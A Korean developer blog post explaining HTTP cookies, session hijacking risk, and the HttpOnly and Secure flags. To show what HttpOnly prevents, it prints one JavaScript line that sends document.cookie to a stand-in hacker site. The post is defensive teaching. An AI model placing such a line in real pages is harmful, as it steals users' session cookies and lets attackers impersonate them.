본문 바로가기
Work/개발 노트

[WEB] 쿠키 개념 잡기

by ★용호★ 2020. 9. 6.

쿠키 사용 목적

  1. 세션 관리
    • 서버에 저장해야할 로그인, 장바구니, 게임 스코어 등의 정보 관리
  2. 개인화
    • 사용자 선호, 테마 등의 정보
  3. 트래킹
    • 사용자 행동을 기록하고 분석

사전 지식

  • 어떠한 서버도 HTTP 통신을 한다면 쿠키를 주고 받을 수 있다.
  • 클라이언트에서도 쿠키에 접근하고 관리할 수 있다.
  • HTTP와 HTTPS 사이에도 쿠키를 교환할 수 있다.
  • 같은 도메인이라면 서로 다른 Scheme일지라도 쿠키를 공유할 수 있다.
  • 쿠키는 서버든 클라이언트든 생성할 수 있다.
  • 쿠키가 생성되면 브라우저는 해당 쿠키 정보를 저장한다.
  • 생성 이후 발생하는 모든 Request에 쿠키를 포함하여 서버에 전달한다.

보안 위협

  • 수많은 사이트에서 민감한 개인정보를 쿠키에 저장하고 있다.
  • 해커들은 다양한 방법으로 이 쿠키를 탈취하려고 한다.
    • 세션 하이재킹(Session hijacking) 공격
  • HTTP는 Stateless 프로토콜이기 때문에 기본적으로 상태 정보를 저장하지 않는다.
    • 요청자가 누구인지, 같은 사람이었는지를 식별할 수 없다.
    • 식별을 위한 데이터 저장 용도로 쿠키를 사용
    • 식별 정보가 포함된 쿠키를 해커가 탈취하면 해당 사용자로 위장할 수가 있다.

보안 강화 방법

HTTP Only Cookies

  • 브라우저에서 쿠키에 접근할 수 없도록 제한한다.
  • 이를 통해 아래와 같이 자바스크립트로 쿠키를 가로채려하는 시도를 막을 수있다.
    • location.href = '<http://해커사이트/?cookies=>' + document.cookie;
  • 아래와 같이 Set-Cookie 헤더에 HttpOnly를 추가하여 적용할 수 있다.
    • Set-Cookie: 쿠키명=쿠키값; path=/; HttpOnly

Secure Cookies

  • HTTP Only Cookie로 Javascript의 쿠키 탈취는 막을 수 있지만 네트워크 트래픽에서 쿠키를 가로채는 것까지는 막지 못한다.
  • 통신상의 유출을 막기 위해 HTTPS 프로토콜을 사용하여 데이터를 암호화하는 방법이 주로 사용된다.
    • HTTPS 사용 시 쿠키까지 암호화되어 전송되기 때문에 제3자는 내용을 알 수 없다.
  • 실수로 HTTP를 통해 통신을 하는 경우 쿠키를 탈취당할 수 있는데 이를 방지하기 위해 쿠키 생성 시 secure 접미사를 붙이면 HTTPS가 아닌 경우 쿠키를 전송하지 않는다.
  • Set-Cookie: 쿠키명=쿠키값; path=/; secure

참고

 

 

[Web] HTTP Only와 Secure Cookie 이해하기

Cookie에 대한 이해 쿠키는 ASP.NET, PHP와 같은 특정 기술영역에 국한된 것도 아니고, 특정 Client나 Server에만 국한된 기술도 아닙니다. 쿠키는 수십 년 전부터 사용되어 왔으며 최근에는 HTTP에 있어서

nsinc.tistory.com

 

'Work > 개발 노트' 카테고리의 다른 글

[Flutter] Drawer 위젯 만들어보기  (1) 2020.09.11
[WEB] certbot으로 Let's Encrypt 인증서 발급 받기  (1) 2020.09.07
[WEB] 토큰 기반 인증  (2) 2020.09.04
[LDAP] 개념 잡기  (3) 2020.09.04
[파이썬] 모듈 사용하기  (0) 2020.09.03

댓글